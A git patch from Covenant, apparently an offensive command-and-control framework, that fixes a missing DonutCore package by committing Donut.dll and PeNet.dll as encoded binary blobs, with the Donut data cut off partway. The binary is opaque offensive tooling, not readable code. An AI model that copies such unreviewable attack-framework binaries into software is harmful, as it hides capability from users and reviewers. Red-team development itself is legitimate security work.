From 5decc3ccfab04e6e881ed00c9de649740dac8ad1 Mon Sep 17 00:00:00 2001 From: Ryan Cobb Date: Wed, 21 Apr 2021 21:00:50 -0500 Subject: [PATCH 01/16] Fixed missing DonutCore nuget package --- CHANGELOG.md | 1 + Covenant/Covenant.csproj | 8 +++++++- Covenant/refs/Donut.dll | Bin 0 -> 50688 bytes Covenant/refs/PeNet.dll | Bin 0 -> 152576 bytes 4 files changed, 8 insertions(+), 1 deletion(-) create mode 100644 Covenant/refs/Donut.dll create mode 100644 Covenant/refs/PeNet.dll diff --git a/CHANGELOG.md b/CHANGELOG.md index 50525ffd..a427f0e3 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -35,6 +35,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Fix Download task exception on unexpected output - Fix credential tracking missing some credentials - Fix credential tracking missing Kerberos tickets +- Fixed missing DonutCore nuget package ## [v0.6] - 2020-08-04 ### Added diff --git a/Covenant/Covenant.csproj b/Covenant/Covenant.csproj index 40cd24ff..62d31161 100644 --- a/Covenant/Covenant.csproj +++ b/Covenant/Covenant.csproj @@ -3,6 +3,7 @@ netcoreapp3.1 ..\docker-compose.dcproj + Release;Debug @@ -52,7 +53,6 @@ - @@ -82,5 +82,11 @@ refs\dnlib.dll + + refs\PeNet.dll + + + refs\Donut.dll + diff --git a/Covenant/refs/Donut.dll b/Covenant/refs/Donut.dll new file mode 100644 index 0000000000000000000000000000000000000000..8c65aed1f2a1c810e5dd4ddcabed5bf6f5fb3f09 GIT binary patch literal 50688 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 